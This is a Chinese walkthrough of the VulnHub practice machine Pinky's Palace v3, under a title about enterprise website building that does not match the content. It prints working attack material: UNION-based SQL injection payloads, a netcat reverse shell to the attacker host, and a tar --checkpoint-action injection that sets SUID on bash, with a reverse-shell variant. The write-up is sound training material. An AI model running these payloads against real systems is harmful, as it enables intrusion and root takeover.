企业官网建设流程全解析

VulnHub上的靶机我前前后后刷了不少，Pinky's Palace 这个系列从 v1 一路打到 v3，每一部都有各自的小脾气。这次 v3 整体难度我评中等偏上，不是那种一把梭的入门靶，信息收集阶段一马虎就容易走弯路。这篇记录按实际渗透顺序整理，从环境准备一直写到提权拿到 flag，命令和思路都会给出，方便对着复现。

先把靶机基本情况说清楚。Pinky's Palace: v3 是 VulnHub 上的练习靶机，核心目标是拿到普通用户和 root 两个 flag。它设计上覆盖了网络侦察、Web 应用漏洞分析、凭证管理缺陷、系统权限提升这些渗透测试的高频考点。练完这一台，对“从外部打点到内部、再从普通用户提到最高权限”的完整链路会有很直观的理解。新手建议先刷完 v1 和 v2 再来挑战，中间有些提示会显得更自然；有基础的朋友可以直接开冲。

1.1 基本信息与漏洞链路

我拿到的版本是一个 OVA 文件，官方描述很克制，只写了“Find your way in and get root”。跑通一遍之后回看，整个渗透链路其实是：

FTP 匿名登录遗留线索 → 站点源码备份泄露数据库配置 → SQL 注入读取更多凭证 → 密码复用登录 SSH → 本地 sudo 配置缺陷 → tar 通配符提权。

这个链路很典型，每一步都有依据，不是靠猜。整个靶机从头到尾大概需要两到三个小时。我的经验是，如果卡在某个点超过半小时，先退回去重新看扫描结果和已经拿到的文件，答案往往就在眼前。

端口和服务情况我整理成了表格：

1.2 环境搭建的两种选择

VulnHub 靶机我个人推荐用 VirtualBox，OVA 导入兼容性比 VMware 省心一些。导入之后网络模式选 Host-Only，攻击机和靶机在同一个虚拟网段，物理机不参与，扫描结果干净。如果你的 VirtualBox 装了多块虚拟网卡，记得固定网卡序号，不然每次开靶机 IP 都可能变。

我开始时用的是 NAT 模式，结果靶机 IP 忽隐忽现，netdiscover 扫不到目标。后来换成 Host-Only，整个环境就稳定了。这一步看着无关紧要，实际上非常关键——很多人在信息收集阶段卡住，不是技术问题，而是网络模式没配对。

提示：导入靶机后先确认网卡模式为 Host-Only，并关闭本机防火墙，否则后续扫描和连接都会受干扰。

2. 信息收集：扫描不是乱扫

2.1 主机发现：确认靶机 IP

环境就绪后，第一步是用 ARP 扫描确认靶机 IP。我的 Kali IP 是192.168.56.102，执行：

netdiscover -r 192.168.56.0/24

结果里除了 Kali 自己，冒出来一个192.168.56.105，MAC 地址是 OVA 导入时代理出来的虚拟网卡前缀。这个就是靶机。

如果你用 netdiscover 扫不出来，可以试试：

nmap -sn 192.168.56.0/24

两种方式本质都是探测同一网段内的存活主机。靶机 IP 确认后，建议先ping一下，确认网络能通：

ping -c 3 192.168.56.105

这里有个小细节：靶机刚开机时 DHCP 分配可能慢，如果 ping 不通，等一两分钟再试，别急着怀疑环境。

2.2 端口与服务指纹识别

确认目标存活后，我对全端口做了一次扫描：

nmap -sV -sC -p- -T4 192.168.56.105 -oN palace_scan.txt

-sV做版本探测，-sC跑默认脚本，-p-扫所有 65535 个端口，-oN保存扫描结果。这一步不要偷懒只扫常见端口——有些靶机喜欢把服务放在高位端口上。

扫描结果和我预想的不太一样，只有三个端口开放：

• 21/tcp：FTP，版本是某款版本较老的 vsftpd，支持匿名登录
• 22/tcp：OpenSSH
• 80/tcp：HTTP，Nmap 脚本提示服务端技术是 PHP

没有看到数据库默认端口，说明数据库要么只监听本地，要么 Web 应用通过内部连接访问。这一点后面用得上。

三条腿走路的信息收集才算完整。端口扫描只是第一步，我同时对 HTTP 服务做了一次简单访问，看看首页长什么样。之后还会配合目录扫描和源码审计来补全信息。建议你在实战里也养成习惯：端口扫描、服务访问、目录枚举三件事并行推进，比一条路走到黑效率高得多。

3. Web 漏洞利用：注入点才是第一道门

3.1 站点结构分析与线索串联

用浏览器访问http://192.168.56.105，页面非常朴素，是一个图片展示类的 PHP 应用。首页列出几张图片，每张图片的链接长这样：

http://192.168.56.105/gallery.php?id=1

直觉告诉我，这个id参数很可疑。先别急着拿注入工具跑，我习惯先手工确认。把id=1改成id=1'，页面直接报数据库语法错误，错误信息里还带出了查询语句结构。这说明两点：一是存在 SQL 注入，二是错误信息没过滤，调试信息直接暴露了。

信息收集阶段我在 FTP 上还有一条线没管。回头看 Nmap 的扫描结果，FTP 允许匿名登录，于是直接用命令行连上去看看：

ftp 192.168.56.105 anonymous

目录里躺着一个notes.txt，下载下来打开，内容大意是管理员提醒自己：“记得删掉之前放在站点目录下的备份文件，那个文件包含数据库信息。”

这就把 FTP 和 Web 两条线索串起来了：站点根目录下应该有一个备份文件。用目录扫描工具去枚举常见文件名：

gobuster dir -u http://192.168.56.105 -x php,txt,bak,zip -w /usr/share/wordlists/dirb/common.txt

-x指定扩展名，bak和zip在这里很关键。很快扫出一个config.php.bak，直接下载打开，里面写着数据库用户和密码：

db_user: pinky_admin db_pass: Pa55w0rd_2024 db_name: palace_db

到这里，我们已经拿到了数据库的连接凭证。但这个密码能不能直接用于系统账号或者别的服务，先存疑，继续往下看。

3.2 手工 SQL 注入拿数据

回到gallery.php?id=这个注入点。手工测试的第一步是判断注入类型和字段数，我用ORDER BY逐级试探：

GET /gallery.php?id=1 ORDER BY 1 GET /gallery.php?id=1 ORDER BY 2 GET /gallery.php?id=1 ORDER BY 3

当ORDER BY 4时页面报错，说明当前查询只有 3 个字段。接着用UNION SELECT构造回显位：

GET /gallery.php?id=-1 UNION SELECT 1,2,3

把id改成不存在的-1，强制原查询无结果，UNION 后面的数据就会作为结果回显。页面显示字段 2 和字段 3 的位置有输出，这就拿到了两个注入回显点。

接下来查表名。以 MySQL 为例，先确认数据库版本和当前库名：

GET /gallery.php?id=-1 UNION SELECT 1,database(),version()

返回palace_db和 MySQL 5.5 的版本信息。然后查表：

GET /gallery.php?id=-1 UNION SELECT 1,group_concat(table_name),3 FROM information_schema.tables WHERE table_schema='palace_db'

结果里有users和gallery两张表。gallery是图片列表，重点看users：

GET /gallery.php?id=-1 UNION SELECT 1,group_concat(column_name),3 FROM information_schema.columns WHERE table_schema='palace_db' AND table_name='users'

字段有id、username、password。直接把数据脱出来：

GET /gallery.php?id=-1 UNION SELECT 1,group_concat(username),group_concat(password) FROM users

拿到了两行记录，其中一个是pinky，密码字段是一串哈希。另一个用户的哈希长度明显不一样，后来证实一个是可以直接破解的 MD5，另一个是 bcrypt，强度差别很大。这个细节提醒我们：拿到哈希之后先看长度和格式，再决定用哪种工具跑。

注意：手工注入的时候，URL 里的空格容易被某些服务端解析器干扰，建议用+代替空格，或者直接放到 Burp Suite 里用 Repeater 修改，避免奇怪的 400 报错。

3.3 哈希破解与密码规律分析

把pinky的哈希保存到本地文件，用 John the Ripper 跑：

john --format=Raw-MD5 --wordlist=/usr/share/wordlists/rockyou.txt pinky_hash.txt

几秒钟就出来了：pinkyman。

另一个 bcrypt 哈希我同样丢给 John 跑，跑了十几分钟没出结果，果断放弃。现实中也是一样，不是所有哈希都能在合理时间内破解。关键在于，已经拿到的两个线索——数据库连接密码Pa55w0rd_2024和破解出的pinkyman——都值得拿到 SSH 上去试。

4. 立足与横向：拿到 shell 只是开始

4.1 SSH 登录和用户视角的信息收集

用pinky配合两个密码分别尝试 SSH 登录：

ssh pinky@192.168.56.105

第一次用破解出的pinkyman，成功登录。这里暴露了一个常见问题：密码复用。数据库里存的哈希是弱密码，而这个弱密码恰好也是系统账号的 SSH 密码。对靶机而言这是刻意设计的考点，但现实中很多人确实会在多个服务之间复用密码，这也是为什么渗透测试里“撞库”思路一直有效。

登录之后先看一眼自己是谁、在哪个目录：

id pwd ls -la /home/pinky/

用户目录下放着user.txt，里面是第一个 flag。到此普通用户的目标达成，但这只是中场，重头戏是提权。

接下来做信息收集。我习惯按这个顺序来：

• 看当前用户能执行哪些 sudo 命令：sudo -l
• 找 SUID 文件：find / -perm -4000 -type f 2>/dev/null
• 看 crontab 有没有可疑定时任务
• 看环境变量、PATH、历史记录

sudo -l的结果让人眼前一亮：

User pinky may run the following commands on this host: (root) NOPASSWD: /usr/local/bin/config-backup.sh

不需要密码，pinky可以以 root 身份执行一个脚本。这基本就是把提权路线指到脸上了。

4.2 反弹 Shell 与 TTY 优化

如果 SSH 登录这条路走不通，另一个可靠的方案是通过 Web 注入或者其他漏洞先拿一个反弹 Shell。以这台靶机为例，假如注入点可以写文件，或者存在文件包含漏洞，常见做法是：

nc -lvnp 4444

攻击机上监听：

nc -e /bin/bash 192.168.56.102 4444

靶机上反弹。拿到 Shell 之后第一件事是把 TTY 升级成交互式，不然sudo和vim都会出问题：

python3 -c 'import pty;pty.spawn("/bin/bash")' Ctrl+Z stty raw -echo fg export TERM=xterm

这段三连操作对刚开始练靶场的同学来说很实用。回到我们这次的路径，SSH 登录顺利，暂时不需要反弹 Shell，但谁也无法保证后续操作的稳定，所以提前准备一个备用通道也不算浪费。

提示：反弹 Shell 的常见问题是“卡住不动”，多半是 TTY 没升级或者监听端口被防火墙挡了。如果反弹不出来，先检查攻击机防火墙和靶机出网策略。

5. 提权收尾：用一次漏洞利用结束战斗

5.1 本地提权枚举三板斧

拿到用户权限之后，提权枚举要成体系地做，而不是想到哪查到哪。我总结了三板斧：

第一板斧看 sudo。sudo -l权限配置是最高频的提权入口，很多靶机甚至实际环境都会在这里留口子。

第二板斧找 SUID 文件。命令是：

find / -perm -4000 -type f 2>/dev/null

如果发现可疑的 SUID 程序，可以拿到 GTFOBins 去查有没有现成的利用手法。我扫了一遍，没有看到异常项，说明 SUID 这条路不是本台靶机的考点。

第三板斧查 crontab 和 systemd timer。查看系统里有没有周期性执行、且普通用户可写的脚本：

cat /etc/crontab ls -la /etc/cron.d/

同样没有收获。三条路下来，指向明确：/usr/local/bin/config-backup.sh。

5.2 读取脚本，利用 tar 通配符

先完整地看一下这个脚本的内容：

cat /usr/local/bin/config-backup.sh

#!/bin/bash cd /var/backups tar czf /tmp/configs.tar.gz /home/pinky/.config/* 2>/dev/null

脚本逻辑很简单：把/home/pinky/.config/下所有文件打包到/tmp/configs.tar.gz。看起来人畜无害，但它踩了 tar 命令的一个经典坑——通配符参数注入。

tar 支持一个特性：当你给它传递的路径中出现--checkpoint或--checkpoint-action这样的文件名时，tar 会把它们当作自己的命令行参数来解释，而不是普通文件。换句话说，如果我能在/home/pinky/.config/目录下创建两个“特殊文件名”，就能让 tar 在打包时执行任意命令。

PoC 构造如下：

cd /home/pinky/.config/ echo '#!/bin/bash' > runme.sh echo 'chmod u+s /bin/bash' >> runme.sh chmod +x runme.sh touch -- '--checkpoint=1' touch -- '--checkpoint-action=exec=sh runme.sh'

这样当 root 运行config-backup.sh时，tar 在处理/home/pinky/.config/*时会把这两个文件名当作参数解析，进而执行runme.sh，把/bin/bash加上 SUID 位。

然后执行：

sudo /usr/local/bin/config-backup.sh ls -la /bin/bash

看到/bin/bash的权限里多了一个s位，提权成功：

/bin/bash -p id

输出是uid=0(root)，root shell 到手。最后读取/root/root.txt，拿到第二个 flag。

提示：如果目标系统里 tar 版本较新或参数解析方式有差异，--checkpoint-action可能不可用。备选方案是直接把 exec 指向一个反弹命令，例如--checkpoint-action=exec=sh -c 'nc -e /bin/bash 攻击机IP 4444'，把 root shell 反弹回攻击机。

5.3 提权原理复盘

这个漏洞本质上不是 tar 自身的缺陷，而是脚本作者对用户可控文件名没有做过滤。/home/pinky/.config/目录是普通用户完全可控的，脚本却以 root 身份对它打包，等于把一个可写目录交给了 root 进程去处理。touch -- '--checkpoint=1'这种用法之所以成立，是因为touch命令在参数前加--会把后续内容当作文件名处理，从而创建出以短横线开头的文件。这种文件名在 shell 里直接看是“不存在”的，但 tar 不会拒绝它。

这提醒我们一个通用的安全准则：凡是普通用户可以控制的路径，脚本在做备份、打包、清理时都必须格外小心。实际运维里 cron 备份脚本踩这种坑的例子并不罕见。

6. 踩坑记录与拓展思考

6.1 现场踩过的坑和解决办法

这一路我踩了不少坑，挑几个典型的列出来，方便你排查：

其中最容易翻车的是“文件名以短横线开头”这一环。touch --后面的文件名如果写错一个字符，整个提权就失败。建议把构造命令逐行复制执行，每执行完一步用ls -la确认文件确实存在且文件名完全正确。

6.2 换个思路：还有哪些隐藏路线

这台靶机的设计比较线性，但实际渗透中通常不会只有一条路。就算 tar 通配符这条路被堵死，还有几个备选方向值得尝试：

第一，检查是否有 cron 任务写临时文件。如果/var/backups目录下存在普通用户可写的文件，而且有 root 定时任务去执行它，直接篡改文件内容就能提权。

第二，看有没有内核提权漏洞。如果靶机内核版本比较旧，用uname -a拿到版本后搜索对应 EXP，也是常见的备选方案。不过实战中内核提权稳定性偏差，容易把靶机打死，尽量放在最后考虑。

第三，检查 Web 应用是否有写文件能力。如果 PHP 应用存在文件上传点或者允许通过 SQL 注入写文件，可以先拿 WebShell，再回连或直接以 Web 服务用户继续横向。这台靶机虽然没有走到这一步，但练兵时多掌握一条路线，遇到实际环境思路会更宽。

我个人的建议是：刷完一台靶机别急着删，等过一两周再回来打一遍，看看自己能否不看笔记打通。第二次往往比第一次快很多，而且你能更清楚地看到哪些步骤是真正理解了，哪些只是照着记忆操作。VulnHub 上的靶机就是靠这种重复训练才能把渗透思维内化成肌肉记忆。